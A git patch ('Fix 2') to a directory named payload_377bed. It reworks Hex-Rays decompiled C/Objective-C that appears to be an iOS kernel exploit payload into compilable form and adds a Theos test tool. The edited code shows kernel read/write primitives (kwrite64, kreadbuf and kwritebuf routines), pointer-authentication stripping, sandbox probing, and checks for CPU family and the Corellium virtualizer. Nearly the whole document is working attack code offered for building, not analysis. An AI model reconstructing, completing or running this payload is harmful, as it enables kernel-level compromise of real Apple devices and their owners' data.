From 353b39019fe016eb9cbe7637224159b7ca3db38c Mon Sep 17 00:00:00 2001 From: khanhduytran0 Date: Sun, 31 May 2026 08:56:01 +0700 Subject: [PATCH] Fix 2 --- src/payload_377bed/Makefile | 9 +- src/payload_377bed/entry1_type0x09.m | 344 +- src/payload_377bed/main.m | 1 - src/payload_377bed/orig.c | 47900 ------------------------- src/payload_377bed/test.m | 249 + 5 files changed, 466 insertions(+), 48037 deletions(-) delete mode 100644 src/payload_377bed/main.m delete mode 100644 src/payload_377bed/orig.c create mode 100644 src/payload_377bed/test.m diff --git a/src/payload_377bed/Makefile b/src/payload_377bed/Makefile index fe6515c..5528b37 100644 --- a/src/payload_377bed/Makefile +++ b/src/payload_377bed/Makefile @@ -12,8 +12,8 @@ entry1_type0x09_FILES = entry1_type0x09.m entry1_type0x09_CFLAGS = \ -Wno-int-conversion \ -Wno-incompatible-pointer-types \ - -Wno-implicit-function-declaration \ - -Wno-deprecated-non-prototype \ + -Werror=implicit-function-declaration \ + -Werror=deprecated-non-prototype \ -Wno-incompatible-library-redeclaration \ -Wno-implicit-int \ -fno-builtin \ @@ -21,4 +21,9 @@ entry1_type0x09_CFLAGS = \ entry1_type0x09_FRAMEWORKS = CoreFoundation IOKit Security entry1_type0x09_INSTALL_PATH = /usr/local/lib +TOOL_NAME = entry1_type0x09_test +entry1_type0x09_test_FILES = test.m +entry1_type0x09_INSTALL_PATH = /usr/local/bin + include $(THEOS_MAKE_PATH)/library.mk +include $(THEOS_MAKE_PATH)/tool.mk diff --git a/src/payload_377bed/entry1_type0x09.m b/src/payload_377bed/entry1_type0x09.m index 7f5e821..324f695 100644 --- a/src/payload_377bed/entry1_type0x09.m +++ b/src/payload_377bed/entry1_type0x09.m @@ -259,15 +259,15 @@ unsigned __int64 __fastcall sub_1E99C(__int64 a1, unsigned __int64 *a2, unsigned __int64 __fastcall sub_1EA70(__int64 a1, int a2); char *__fastcall sub_1EB2C(__int64 *a1, __int64 *a2, int a3); __int64 __fastcall sub_1ED50(char *a1, size_t a2); -__n128 __fastcall kernel_version_parse(struct_xnuMajorVersion *xnuMajorVersion, int *a2, int *a3); +int __fastcall kernel_version_parse(struct_xnuMajorVersion *xnuMajorVersion, int *a2, int *a3); __int64 __fastcall sub_1F07C(vm_map_read_t a1, mach_vm_address_t a2, _QWORD *a3); __int64 number_of_cpus(); -unsigned __int64 sub_1F0F4(); +unsigned __int64 comm_page_memory_size(); __int64 sub_1F114(); __int64 __fastcall sub_1F148(task_name_t a1); __int64 sub_1F190(); __int64 __fastcall sub_1F1C8(task_name_t a1, _QWORD *a2, _QWORD *a3); -unsigned __int64 __fastcall sub_1F240(_DWORD *a1); +unsigned __int64 __fastcall comm_page_get_cpu_family(_DWORD *cpuFamily); __int64 __fastcall sub_1F274(unsigned int a1, _QWORD *a2); __int64 __fastcall sub_1F308(__int64 *a1, int a2, size_t __n, _QWORD *__src); __int64 __fastcall sub_1F418(__int64 a1, _QWORD *a2, _DWORD *a3); @@ -659,7 +659,34 @@ __int64 __fastcall sub_40FDC(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __i __int64 __fastcall sub_4100C(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6); __int64 j___get_cpu_capabilities(void); // weak __int64 _get_cpu_capabilities(void); -unsigned __int64 sub_41040(); +extern __int64 real_get_cpu_capabilities(void) __asm("__get_cpu_capabilities"); +unsigned __int64 comm_page64_base_address(); +enum +{ + COMM_PAGE_CPU_CAPABILITIES64_OFFSET = 0x10, + COMM_PAGE_CACHE_LINESIZE_OFFSET = 0x26, + COMM_PAGE_MEMORY_SIZE_OFFSET = 0x38, + COMM_PAGE_CPUFAMILY_OFFSET = 0x80, +}; +void *__memcpy_chk(void *dst, const void *src, size_t len, size_t dstlen); +void *__memset_chk(void *dst, int val, size_t len, size_t dstlen); +size_t __strlcpy_chk(char *dst, const char *src, size_t len, size_t dstlen); +extern const char ___kernelVersionString[]; +int sandbox_check(pid_t pid, const char *operation, int flags, ...); +void *_os_alloc_once(void *slot, size_t size, void *init); +void *__os_alloc_once(void *slot, size_t size, void *init); +mach_port_t mach_reply_port(void); +CFDataRef IOCFSerialize(CFTypeRef object, CFOptionFlags options); +kern_return_t host_get_io_master(host_t host, io_master_t *io_master); +int uuid_is_null(const unsigned char uu[16]); +__int64 _IOServiceSetAuthorizationID(void); +__int64 __semwait_signal(void); +__int64 __ulock_wait(void); +__int64 __ulock_wake(void); +__int64 necp_open(void); +__int64 necp_client_action(void); +int proc_pidinfo(int pid, int flavor, uint64_t arg, void *buffer, int buffersize); +char *_CFProcessPath(void); #if 0 int __cdecl CC_SHA1_Final(unsigned __int8 *md, CC_SHA1_CTX *c); int __cdecl CC_SHA1_Init(CC_SHA1_CTX *c); @@ -734,14 +761,15 @@ kern_return_t __cdecl IOServiceWaitQuiet(io_service_t service, mach_timespec_t * __int64 _CFProcessPath(); __int64 _IOServiceSetAuthorizationID(); int *__error(void); -__int64 __memcpy_chk(); -__int64 __memset_chk(); +void *__memcpy_chk(void *dst, const void *src, size_t len, size_t dstlen); +void *__memset_chk(void *dst, int val, size_t len, size_t dstlen); __int64 __semwait_signal(); -__int64 __strlcpy_chk(); +size_t __strlcpy_chk(char *dst, const char *src, size_t len, size_t dstlen); __int64 __ulock_wait(); __int64 __ulock_wake(); __int64 _get_cpu_capabilities(); -__int64 _os_alloc_once(); +void *_os_alloc_once(void *slot, size_t size, void *init); +void *__os_alloc_once(void *slot, size_t size, void *init); void __cdecl arc4random_buf(void *__buf, size_t __nbytes); void __cdecl bzero(void *, size_t); void *__cdecl calloc(size_t __count, size_t __size); @@ -765,6 +793,7 @@ kern_return_t __cdecl host_create_mach_voucher(host_t host, mach_voucher_attr_ra kern_return_t __cdecl host_get_io_master(host_t host, io_master_t *io_master); kern_return_t __cdecl host_get_special_port(host_priv_t host_priv, int node, int which, mach_port_t *port); kern_return_t __cdecl host_kernel_version(host_t host, kernel_version_t kernel_version); +extern const char ___kernelVersionString[]; kern_return_t __cdecl host_page_size(host_t, vm_size_t *); kern_return_t __cdecl host_processors(host_priv_t host_priv, processor_array_t *out_processor_list, mach_msg_type_number_t *out_processor_listCnt); kern_return_t __cdecl host_security_set_task_token(host_security_t host_security, task_t target_task, security_token_t sec_token, audit_token_t *__struct_ptr audit_token, host_t host); @@ -843,7 +872,7 @@ void __cdecl qsort(void *__base, size_t __nel, size_t __width, int (__cdecl *__c ssize_t __cdecl read(int, void *, size_t); void *__cdecl realloc(void *__ptr, size_t __size); int __cdecl rmdir(const char *); -__int64 __fastcall sandbox_check(int pid); +int sandbox_check(pid_t pid, const char *operation, int flags, ...); int sched_yield(void); kern_return_t __cdecl semaphore_create(task_t task, semaphore_t *semaphore, int policy, int value); kern_return_t __cdecl semaphore_destroy(task_t task, semaphore_t semaphore); @@ -984,7 +1013,7 @@ ssize_t __cdecl write(int __fd, const void *__buf, size_t __nbyte); // __int64 ___ulock_wait(void); weak // __int64 ___ulock_wake(void); weak // __int64 j___get_cpu_capabilities(void); weak -// __int64 __os_alloc_once(void); weak +// void *__os_alloc_once(void *slot, size_t size, void *init); weak // void __cdecl _arc4random_buf(void *__buf, size_t __nbytes); // void __cdecl _bzero(void *, size_t); // void *__cdecl _calloc(size_t __count, size_t __size); @@ -4476,7 +4505,7 @@ __int64 __fastcall sub_A614(__int64 a1) if ( _os_alloc_once_table[162] == -1 ) v7 = (_QWORD *)_os_alloc_once_table[163]; else - v7 = (_QWORD *)_os_alloc_once(); + v7 = (_QWORD *)_os_alloc_once(&_os_alloc_once_table[162], 0x10u, 0); if ( *v7 ) v6[2] = *v7; *(_OWORD *)(v6 + 179) = v11; @@ -5702,7 +5731,7 @@ LABEL_9: else { v67 = v12; - v68 = _os_alloc_once(); + v68 = (__int64)_os_alloc_once(&_os_alloc_once_table[160], 0x10u, 0); v12 = v67; v13 = (_QWORD *)v68; } @@ -6384,29 +6413,49 @@ __int64 __fastcall sub_CB98(uint64_t x0, uint32_t w1, uint64_t x2) unsigned int v21; // w8 unsigned __int64 v22; // x21 mach_port_name_t v23; // w1 - _DWORD v25[2824]; // [xsp+8h] [xbp-66E8h] BYREF - vm_address_t address; // [xsp+2C28h] [xbp-3AC8h] - vm_size_t size; // [xsp+2C30h] [xbp-3AC0h] - vm_address_t v28; // [xsp+2C38h] [xbp-3AB8h] - vm_size_t v29; // [xsp+2C40h] [xbp-3AB0h] - _BYTE v30[2096]; // [xsp+2C48h] [xbp-3AA8h] - mach_port_name_t name; // [xsp+3478h] [xbp-3278h] - void *v32; // [xsp+3480h] [xbp-3270h] - unsigned int v33; // [xsp+3488h] [xbp-3268h] - vm_address_t v34; // [xsp+3490h] [xbp-3260h] - vm_size_t v35; // [xsp+3498h] [xbp-3258h] - vm_address_t v36; // [xsp+34A0h] [xbp-3250h] - vm_size_t v37; // [xsp+34A8h] [xbp-3248h] - _BYTE v38[72]; // [xsp+34B0h] [xbp-3240h] - mach_port_name_t v39; // [xsp+34F8h] [xbp-31F8h] + struct + { + _DWORD v25[2824]; // [xsp+8h] [xbp-66E8h] BYREF + vm_address_t address; // [xsp+2C28h] [xbp-3AC8h] + vm_size_t size; // [xsp+2C30h] [xbp-3AC0h] + vm_address_t v28; // [xsp+2C38h] [xbp-3AB8h] + vm_size_t v29; // [xsp+2C40h] [xbp-3AB0h] + _BYTE v30[2096]; // [xsp+2C48h] [xbp-3AA8h] + mach_port_name_t name; // [xsp+3478h] [xbp-3278h] + void *v32; // [xsp+3480h] [xbp-3270h] + unsigned int v33; // [xsp+3488h] [xbp-3268h] + vm_address_t v34; // [xsp+3490h] [xbp-3260h] + vm_size_t v35; // [xsp+3498h] [xbp-3258h] + vm_address_t v36; // [xsp+34A0h] [xbp-3250h] + vm_size_t v37; // [xsp+34A8h] [xbp-3248h] + _BYTE v38[72]; // [xsp+34B0h] [xbp-3240h] + mach_port_name_t v39; // [xsp+34F8h] [xbp-31F8h] + _BYTE padding[0x315C]; + } locals; uint64_t args[3]; // [xsp+6658h] [xbp-98h] BYREF pthread_t thread; // [xsp+6670h] [xbp-80h] BYREF pthread_attr_t attr; // [xsp+6678h] [xbp-78h] BYREF +#define v25 locals.v25 +#define address locals.address +#define size locals.size +#define v28 locals.v28 +#define v29 locals.v29 +#define v30 locals.v30 +#define name locals.name +#define v32 locals.v32 +#define v33 locals.v33 +#define v34 locals.v34 +#define v35 locals.v35 +#define v36 locals.v36 +#define v37 locals.v37 +#define v38 locals.v38 +#define v39 locals.v39 v5 = (_DWORD *)x2; v7 = w1; v8 = x0; - bzero(v25, 0x6650u); + _Static_assert(sizeof(locals) == 0x6650, "sub_CB98 local frame size mismatch"); + bzero(&locals, sizeof(locals)); v25[0] = v7; v9 = pthread_attr_init(&attr); if ( v9 ) @@ -6518,6 +6567,21 @@ __int64 __fastcall sub_CB98(uint64_t x0, uint32_t w1, uint64_t x2) } free(v20); } +#undef v25 +#undef address +#undef size +#undef v28 +#undef v29 +#undef v30 +#undef name +#undef v32 +#undef v33 +#undef v34 +#undef v35 +#undef v36 +#undef v37 +#undef v38 +#undef v39 return v11; } // CB98: variables would overlap: w1.4 and x1.8 @@ -6857,28 +6921,47 @@ __int64 __fastcall sub_CEB8(uint64_t x0, uint64_t x1) mem_entry_name_port_t v319[2]; // [xsp+148h] [xbp-1008h] BYREF integer_t a1[4]; // [xsp+150h] [xbp-1000h] BYREF __int128 v321; // [xsp+160h] [xbp-FF0h] - mach_msg_header_t outputStruct[2]; // [xsp+170h] [xbp-FE0h] BYREF - __int128 v323; // [xsp+1A0h] [xbp-FB0h] - __int128 v324; // [xsp+1B0h] [xbp-FA0h] - __int128 v325; // [xsp+1C0h] [xbp-F90h] - __int128 v326; // [xsp+1D0h] [xbp-F80h] - __int128 v327; // [xsp+1E0h] [xbp-F70h] - __int128 v328; // [xsp+1F0h] [xbp-F60h] - __int128 v329; // [xsp+200h] [xbp-F50h] - __int128 v330; // [xsp+210h] [xbp-F40h] - __int128 v331; // [xsp+220h] [xbp-F30h] - __int128 v332; // [xsp+230h] [xbp-F20h] - __int128 v333; // [xsp+240h] [xbp-F10h] - __int128 v334; // [xsp+250h] [xbp-F00h] - __int128 v335; // [xsp+260h] [xbp-EF0h] + struct + { + mach_msg_header_t outputStruct[2]; // [xsp+170h] [xbp-FE0h] BYREF + __int128 v323; // [xsp+1A0h] [xbp-FB0h] + __int128 v324; // [xsp+1B0h] [xbp-FA0h] + __int128 v325; // [xsp+1C0h] [xbp-F90h] + __int128 v326; // [xsp+1D0h] [xbp-F80h] + __int128 v327; // [xsp+1E0h] [xbp-F70h] + __int128 v328; // [xsp+1F0h] [xbp-F60h] + __int128 v329; // [xsp+200h] [xbp-F50h] + __int128 v330; // [xsp+210h] [xbp-F40h] + __int128 v331; // [xsp+220h] [xbp-F30h] + __int128 v332; // [xsp+230h] [xbp-F20h] + __int128 v333; // [xsp+240h] [xbp-F10h] + __int128 v334; // [xsp+250h] [xbp-F00h] + __int128 v335; // [xsp+260h] [xbp-EF0h] + _BYTE padding[0xE60]; + } outputScratch; +#define outputStruct outputScratch.outputStruct +#define v323 outputScratch.v323 +#define v324 outputScratch.v324 +#define v325 outputScratch.v325 +#define v326 outputScratch.v326 +#define v327 outputScratch.v327 +#define v328 outputScratch.v328 +#define v329 outputScratch.v329 +#define v330 outputScratch.v330 +#define v331 outputScratch.v331 +#define v332 outputScratch.v332 +#define v333 outputScratch.v333 +#define v334 outputScratch.v334 +#define v335 outputScratch.v335 v4 = x1; v5 = x0; v6 = 708625; + _Static_assert(sizeof(outputScratch) == 0xF60, "sub_CEB8 output scratch size mismatch"); address = 0; object_handle = 0; size = vm_page_size; - v7 = sub_1F0F4(); + v7 = comm_page_memory_size(); *(_QWORD *)(v4 + 8) = v7; *(_QWORD *)(v4 + 0x34E8) = 0x10000000800LL; if ( v7 > 0x400000000LL ) @@ -8749,6 +8832,20 @@ LABEL_547: *(_QWORD *)(v5 + 272) = 0; } } +#undef outputStruct +#undef v323 +#undef v324 +#undef v325 +#undef v326 +#undef v327 +#undef v328 +#undef v329 +#undef v330 +#undef v331 +#undef v332 +#undef v333 +#undef v334 +#undef v335 return v10; } // D7C4: conditional instruction was optimized away because w22.4==0 @@ -11630,6 +11727,7 @@ void __fastcall sub_13D9C(struct_krwCtx *a1, unsigned __int64 a2, __int64 a3) __int64 __fastcall kwrite_something(struct_krwCtx *a1, mach_vm_address_t a2, __int64 a3, __int64 a4, int a5) { __int64 result; // x0 + __int64 v6; // [xsp+8h] [xbp-18h] BYREF if ( !a5 || a1->int168 != (_DWORD)a4 ) { @@ -11638,8 +11736,9 @@ __int64 __fastcall kwrite_something(struct_krwCtx *a1, mach_vm_address_t a2, __i return result; return 1; } - __memcpy_chk(); - result = kwrite64(a1, a2, 0); + v6 = 0; + __memcpy_chk(&v6, (const void *)a3, (unsigned int)a4, 8); + result = kwrite64(a1, a2, v6); if ( (_DWORD)result ) return 1; return result; @@ -19900,22 +19999,23 @@ LABEL_8: } //----- (000000000001EE6C) ---------------------------------------------------- -__n128 __fastcall kernel_version_parse(struct_xnuMajorVersion *xnuMajorVersion, int *a2, int *a3) +int __fastcall kernel_version_parse(struct_xnuMajorVersion *xnuMajorVersion, int *a2, int *a3) { - __n128 result; // q0 + int result; // w0 char *v7; // x0 int v8; // w0 size_t v9; // x0 char *v10; // x0 - __int32 v11[4]; // [xsp+40h] [xbp-250h] - __int8 v12[8]; // [xsp+50h] [xbp-240h] + __int32 v11[8]; // [xsp+40h] [xbp-250h] + unsigned __int64 v12; // [xsp+58h] [xbp-238h] char str[512]; // [xsp+58h] [xbp-238h] BYREF - *(_QWORD *)v12 = 0; - v11[0] = 0; + result = 0; + memset(v11, 0, sizeof(v11)); + v12 = 0; if ( dyldVersionNumber >= 1000.0 ) { - __strlcpy_chk(); + __strlcpy_chk(str, ___kernelVersionString, 0x200u, 0x200u); v9 = strlen(str); if ( v9 ) { @@ -19928,19 +20028,23 @@ __n128 __fastcall kernel_version_parse(struct_xnuMajorVersion *xnuMajorVersion, v10 = strstr(str, "Libsyscall-"); if ( v10 ) { - v8 = sscanf(v10, "Libsyscall-%d.%d.%d.%d.%d%*s"); + v8 = sscanf(v10, "Libsyscall-%d.%d.%d.%d.%d%*s", &v11[0], &v11[1], &v11[2], &v11[3], &v11[4]); LABEL_13: if ( v8 >= 3 ) { *a2 = 1; *a3 = 1; - v11[1] = 0; - *(_QWORD *)&v11[2] = 0; - v12[0] = 1; - result = (__n128){0}; - xnuMajorVersion->qword20 = *(_QWORD *)v12; - xnuMajorVersion->majorVersion = 0u; - xnuMajorVersion->oword10 = *(_OWORD *)v11; + v11[5] = (v11[0] << 18) | ((v11[1] & 0x1FF) << 9) | (v11[2] & 0x1FF); + *(_QWORD *)&v11[6] = ((((unsigned __int64)(v11[0] & 0x7FFF) << 20) + | ((unsigned __int64)(v11[1] & 0x3FF) << 10) + | (unsigned int)(v11[2] & 0x3FF)) << 20) + | (((unsigned __int64)(unsigned int)v11[3] << 10) & 0xFFC00) + | (unsigned int)(v11[4] & 0x3FF); + v12 = 1; + xnuMajorVersion->qword20 = v12; + xnuMajorVersion->majorVersion = *(_OWORD *)v11; + xnuMajorVersion->oword10 = *(_OWORD *)&v11[4]; + result = 1; } } } @@ -19954,7 +20058,7 @@ LABEL_13: v7 = strstr(str, "xnu-"); if ( v7 ) { - v8 = sscanf(v7, "xnu-%d.%d.%d.%d.%d%*s"); + v8 = sscanf(v7, "xnu-%d.%d.%d.%d.%d%*s", &v11[0], &v11[1], &v11[2], &v11[3], &v11[4]); goto LABEL_13; } } @@ -19986,13 +20090,13 @@ __int64 number_of_cpus() // 4103C: using guessed type __int64 j___get_cpu_capabilities(void); //----- (000000000001F0F4) ---------------------------------------------------- -unsigned __int64 sub_1F0F4() +unsigned __int64 comm_page_memory_size() { unsigned __int64 result; // x0 - result = sub_41040(); + result = comm_page64_base_address(); if ( result ) - return *(_QWORD *)(result + 56); + return *(_QWORD *)(result + COMM_PAGE_MEMORY_SIZE_OFFSET); return result; } @@ -20071,14 +20175,14 @@ __int64 __fastcall sub_1F1C8(task_name_t a1, _QWORD *a2, _QWORD *a3) } //----- (000000000001F240) ---------------------------------------------------- -unsigned __int64 __fastcall sub_1F240(_DWORD *a1) +unsigned __int64 __fastcall comm_page_get_cpu_family(_DWORD *cpuFamily) { unsigned __int64 result; // x0 - result = sub_41040(); + result = comm_page64_base_address(); if ( result ) { - *a1 = *(_DWORD *)(result + 128); + *cpuFamily = *(_DWORD *)(result + COMM_PAGE_CPUFAMILY_OFFSET); return 1; } return result; @@ -24181,18 +24285,18 @@ __int64 __fastcall sub_240CC(int a1) bool v4; // zf int v5; // w0 - result = sandbox_check(getpid()); + result = sandbox_check(getpid(), 0, 0); if ( (_DWORD)result ) { - if ( (unsigned int)sandbox_check(getpid()) ) + if ( (unsigned int)sandbox_check(getpid(), "mach-lookup", SANDBOX_CHECK_NO_REPORT | 2, "com.apple.system.notification_center") ) return 0; - v3 = sandbox_check(getpid()); + v3 = sandbox_check(getpid(), "mach-lookup", SANDBOX_CHECK_NO_REPORT | 2, "com.apple.lsd.mapdb"); v4 = v3 == 0; result = v3 != 0; v4 = v4 || a1 == 0; if ( !v4 ) { - result = sandbox_check(getpid()); + result = sandbox_check(getpid(), "syscall-unix", SANDBOX_CHECK_NO_REPORT, 0x61); if ( (_DWORD)result != 1 ) { v5 = socket(2, 2, 0); @@ -24214,7 +24318,7 @@ __int64 __fastcall another_sandbox_check(__int64 a1) int v2; // w8 __int64 result; // x0 - v2 = sandbox_check(getpid()); + v2 = sandbox_check(getpid(), 0, 0); if ( !v2 || (result = 0, v2 == 1) ) { *(_BYTE *)(a1 + 10) = v2; @@ -24886,7 +24990,7 @@ __int64 __fastcall sub_24DA8( *(_QWORD *)&v24[1].msgh_voucher_port = __PAIR64__(a5, a4); DWORD1(v25) = 1310720; *((NDR_record_t *)&v25 + 1) = NDR_record; - v15 = __strlcpy_chk(); + v15 = __strlcpy_chk((char *)&v26 + 8, (const char *)a2, 0x80u, 0x80u); v16 = v15 + 1; v17 = 8 - ((v15 + 1) & 7); if ( ((v15 + 1) & 7) == 0 ) @@ -34162,13 +34266,13 @@ LABEL_121: if ( !(unsigned int)kreadbuf_last_1((struct_krwCtx *)v2, *((_QWORD *)v3 + 1), size, &v216) ) goto LABEL_349; v207 = 0; - __memcpy_chk(); + __memcpy_chk(&v216, &v207, *(int *)(v2 + 360), 0x100u); *(_QWORD *)&v181 = 0x20000000; *((_QWORD *)&v217 + 1) = 0x20000000; *(_QWORD *)&v220 = v50; *(_QWORD *)&v219 = bufSize_4; v210 = (pthread_t)((char *)v50 + v163); - __memcpy_chk(); + __memcpy_chk((char *)&v216 + 0x78, &v210, *(int *)(v2 + 360), 0x88u); v98 = *(_QWORD *)(v2 + 344); v99 = 144; if ( v98 > 0x1C1B19145FFFFFLL ) @@ -34193,7 +34297,7 @@ LABEL_121: if ( *((_QWORD *)&v224 + 1) ) { v209 = (unsigned __int64)v50 + *((_QWORD *)&v224 + 1) - *((_QWORD *)v3 + 3); - __memcpy_chk(); + __memcpy_chk((char *)&v216 + 0x88, &v209, *(int *)(v2 + 360), 0x78u); } if ( *(_QWORD *)(v2 + 344) > 0x1F52FFFFFFFFFFuLL ) { @@ -34201,14 +34305,14 @@ LABEL_121: if ( *((_QWORD *)&v225 + 1) ) { v208 = (unsigned __int64)v50 + *((_QWORD *)&v225 + 1) - *((_QWORD *)v3 + 3); - __memcpy_chk(); + __memcpy_chk((char *)&v216 + 0x98, &v208, *(int *)(v2 + 360), 0x68u); } } if ( size_4 ) { *(_QWORD *)name = 0; v121 = (char *)&v216 + size - *(_DWORD *)(v2 + 360); - __memcpy_chk(); + __memcpy_chk(name, v121, *(int *)(v2 + 360), 8u); if ( *(_QWORD *)name && !validate_addr(v2, *(__int64 *)name) ) goto LABEL_349; *(_QWORD *)name = 0; @@ -39432,7 +39536,7 @@ LABEL_72: { __buf = 0; v28 = address + name[1] * v27; - __memcpy_chk(); + __memcpy_chk(&__buf, (const void *)v28, a1->int168, 8u); if ( __buf ) { __buf = krw_xpac_vaddr_2(a1, __buf); @@ -41898,7 +42002,7 @@ unsigned __int64 __fastcall sub_39B14(_QWORD *a1) result = sub_1E99C(a1[831], &v4, &v3); if ( (_DWORD)result ) { - result = sub_1F0F4(); + result = comm_page_memory_size(); if ( result ) { a1[782] = v4; @@ -44003,7 +44107,7 @@ LABEL_47: return v8; if ( (unsigned int)(v32 - 17) > 0x1DF ) return 163857; - __memset_chk(); + __memset_chk(&newBytes, 0xFF, (unsigned int)(v32 - 16), 0x200u); if ( !(unsigned int)kwritebuf_last_1(a1, address, (__int64)&newBytes, (unsigned int)(v32 - 16)) ) return 163856; } @@ -44100,7 +44204,7 @@ LABEL_74: return v8; if ( (unsigned int)(v32 - 17) > 0x1DF ) return 163857; - __memset_chk(); + __memset_chk(&newBytes, 0xFF, (unsigned int)(v32 - 16), 0x200u); if ( !(unsigned int)kwritebuf_last_1(a1, address, (__int64)&newBytes, (unsigned int)(v32 - 16)) ) return 163856; LABEL_85: @@ -44292,8 +44396,8 @@ __int64 __fastcall driver_init2_1(struct_krwCtx *krwCtx, int something) CFTypeID TypeID; // x26 const struct __CFString *v19; // x24 int HasPrefix; // w26 - unsigned __int64 v21; // x0 - unsigned __int64 v22; // x22 + unsigned __int64 commPageBaseRaw; // x0 + unsigned __int64 commPageBase; // x22 int *p_xnuMajorVersion; // x22 int xnuMajorVersion; // w8 int xnuMajorVersionGroup; // w9 @@ -44390,7 +44494,7 @@ __int64 __fastcall driver_init2_1(struct_krwCtx *krwCtx, int something) v4 = semaphore_create(mach_task_self_, &krwCtx->semaphore, 0, 0); if ( v4 ) return v4 | 0x80000000; - kernel_version_parse(&xnuVersion, krwCtx->gap16C, &krwCtx->gap16C[1]); + v7 = kernel_version_parse(&xnuVersion, krwCtx->gap16C, &krwCtx->gap16C[1]); if ( !v7 ) return 708629; v8 = 163858; @@ -44407,7 +44511,7 @@ __int64 __fastcall driver_init2_1(struct_krwCtx *krwCtx, int something) if ( !stat("/usr/libexec/corelliumd", &v104) ) return 0x28022; v11 = getpid(); - if ( (int)sandbox_check(v11) <= 0 ) + if ( (int)sandbox_check(v11, "iokit-get-properties", SANDBOX_CHECK_NO_REPORT, "IOPlatformSerialNumber") <= 0 ) { v12 = IORegistryEntryFromPath(kIOMasterPortDefault, "IODeviceTree:/"); if ( v12 ) @@ -44441,20 +44545,20 @@ __int64 __fastcall driver_init2_1(struct_krwCtx *krwCtx, int something) } } LABEL_17: - v21 = sub_41040(); - if ( !v21 ) + commPageBaseRaw = comm_page64_base_address(); + if ( !commPageBaseRaw ) return 0x28012; - v22 = v21; - LODWORD(v103) = 0; - if ( !(unsigned int)sub_1F240(&v103) ) + commPageBase = commPageBaseRaw; + cpuFamily = 0; + if ( !(unsigned int)comm_page_get_cpu_family((_DWORD *)&cpuFamily) ) return 0x28022; - if ( (_DWORD)v103 == 0x92FB37C8 || (_DWORD)v103 == 0x37A09642 || (_DWORD)v103 == 0x2C91A47E ) + if ( (_DWORD)cpuFamily == 0x92FB37C8 || (_DWORD)cpuFamily == 0x37A09642 || (_DWORD)cpuFamily == 0x2C91A47E ) { - if ( (*(_QWORD *)(v22 + 16) & 0x4000000) == 0 ) + if ( (*(_QWORD *)(commPageBase + COMM_PAGE_CPU_CAPABILITIES64_OFFSET) & 0x4000000) == 0 ) goto LABEL_23; return 0x28022; } - if ( *(_WORD *)(v22 + 38) != 128 ) + if ( *(_WORD *)(commPageBase + COMM_PAGE_CACHE_LINESIZE_OFFSET) != 128 ) return 0x28022; LABEL_23: p_xnuMajorVersion = &krwCtx->xnuMajorVersion; @@ -44476,7 +44580,7 @@ LABEL_23: LABEL_33: if ( xnuMajorVersion >= 7195 ) krwCtx->gap4[7] = check_sandboxed(krwCtx->someLargeNumber >> 43 > 0x44A); - if ( !(unsigned int)sub_1F240(&cpuFamily) ) + if ( !(unsigned int)comm_page_get_cpu_family((_DWORD *)&cpuFamily) ) return 163858; if ( (int)cpuFamily <= 0x2876F5B4 ) { @@ -44602,7 +44706,7 @@ LABEL_69: v33 = -v33; return v33 | 0x40000000u; } - if ( (v104.st_dev & 0xDF) == 0x4A && !((sub_1F0F4() - 1073741825) >> 30) ) + if ( (v104.st_dev & 0xDF) == 0x4A && !((comm_page_memory_size() - 1073741825) >> 30) ) krw_ctx_set_flag(krwCtx, 0x10000000); v32 = krwCtx->someLargeNumber; } @@ -47424,9 +47528,14 @@ __int64 __fastcall sub_4100C(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __i } //----- (0000000000041040) ---------------------------------------------------- -unsigned __int64 sub_41040() +unsigned __int64 comm_page64_base_address() { - return *(unsigned __int64 *)((char *)&_get_cpu_capabilities + 12) & 0xFFFFFFFFFFFFFF00LL; + uintptr_t capabilitiesStub = (uintptr_t)&real_get_cpu_capabilities; +#if defined(__arm64e__) + __asm__ volatile("paciza %0" : "+r"(capabilitiesStub)); + __asm__ volatile("xpaci %0" : "+r"(capabilitiesStub)); +#endif + return *(unsigned __int64 *)(capabilitiesStub + 12) & 0xFFFFFFFFFFFFFF00LL; } // 483C0: using guessed type __int64 j___get_cpu_capabilities(void); #if 0 @@ -47972,20 +48081,6 @@ int *__error(void) return ___error(); } -//----- (00000000000414FC) ---------------------------------------------------- -__int64 __memcpy_chk() -{ - return ___memcpy_chk(); -} -// 48388: using guessed type __int64 ___memcpy_chk(void); - -//----- (000000000004150C) ---------------------------------------------------- -__int64 __memset_chk() -{ - return ___memset_chk(); -} -// 48390: using guessed type __int64 ___memset_chk(void); - //----- (000000000004151C) ---------------------------------------------------- __int64 __semwait_signal() { @@ -47993,13 +48088,6 @@ __int64 __semwait_signal() } // 48398: using guessed type __int64 ___semwait_signal(void); -//----- (000000000004153C) ---------------------------------------------------- -__int64 __strlcpy_chk() -{ - return ___strlcpy_chk(); -} -// 483A8: using guessed type __int64 ___strlcpy_chk(void); - //----- (000000000004154C) ---------------------------------------------------- __int64 __ulock_wait() { @@ -48022,11 +48110,11 @@ __int64 _get_cpu_capabilities() // 483C0: using guessed type __int64 j___get_cpu_capabilities(void); //----- (000000000004157C) ---------------------------------------------------- -__int64 _os_alloc_once() +void *_os_alloc_once(void *slot, size_t size, void *init) { - return __os_alloc_once(); + return __os_alloc_once(slot, size, init); } -// 483C8: using guessed type __int64 __os_alloc_once(void); +// 483C8: using guessed type void *__os_alloc_once(void *slot, size_t size, void *init); //----- (000000000004158C) ---------------------------------------------------- void __cdecl arc4random_buf(void *__buf, size_t __nbytes) @@ -48747,12 +48835,6 @@ int __cdecl rmdir(const char *a1) return _rmdir(a1); } -//----- (0000000000041BEC) ---------------------------------------------------- -__int64 __fastcall sandbox_check(int pid) -{ - return _sandbox_check(pid); -} - //----- (0000000000041BFC) ---------------------------------------------------- int sched_yield(void) { @@ -48813,12 +48895,6 @@ int __cdecl socket(int a1, int a2, int a3) return _socket(a1, a2, a3); } -//----- (0000000000041C9C) ---------------------------------------------------- -int sscanf(const char *a1, const char *a2, ...) -{ - return _sscanf(a1, a2); -} - //----- (0000000000041CAC) ---------------------------------------------------- int __cdecl stat(const char *a1, stat *a2) { diff --git a/src/payload_377bed/main.m b/src/payload_377bed/main.m deleted file mode 100644 index 8b13789..0000000 --- a/src/payload_377bed/main.m +++ /dev/null @@ -1 +0,0 @@ - diff --git a/src/payload_377bed/orig.c b/src/payload_377bed/orig.c deleted file mode 100644 index 3ba1765..0000000 --- a/src/payload_377bed/orig.c +++ /dev/null @@ -1,47900 +0,0 @@ -/* This file was generated by the Hex-Rays decompiler version 9.0.0.240807. - 